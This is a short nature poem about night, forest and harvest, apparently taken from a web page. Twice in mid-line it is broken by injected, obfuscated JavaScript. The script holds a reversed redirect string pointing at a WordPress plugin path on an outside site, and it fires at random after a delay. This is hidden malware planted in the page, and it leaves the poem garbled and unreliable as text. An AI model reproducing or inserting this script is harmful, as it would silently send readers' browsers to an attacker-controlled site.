Midnight in the moonlit groves,
The ivy spirals round the arms of the oak,
Dancing in the shadowy light,
Reveling in the memory of night…
And at a glancing,
Antlers prancing,
Appeared within the branches dancing,
The season sings of returning toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to life,
In the memory of night…
The fertile-crescent, the silent stars,
Fruit of the darkness, blood of the harvest,
The forest chorus, the evening choir,
Auburn leaves of the twilight fire,
And in a gleaning,
Appeared the meaning,
All within the branches greening,
The evening sings of returning toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to life,
In the memory of night…
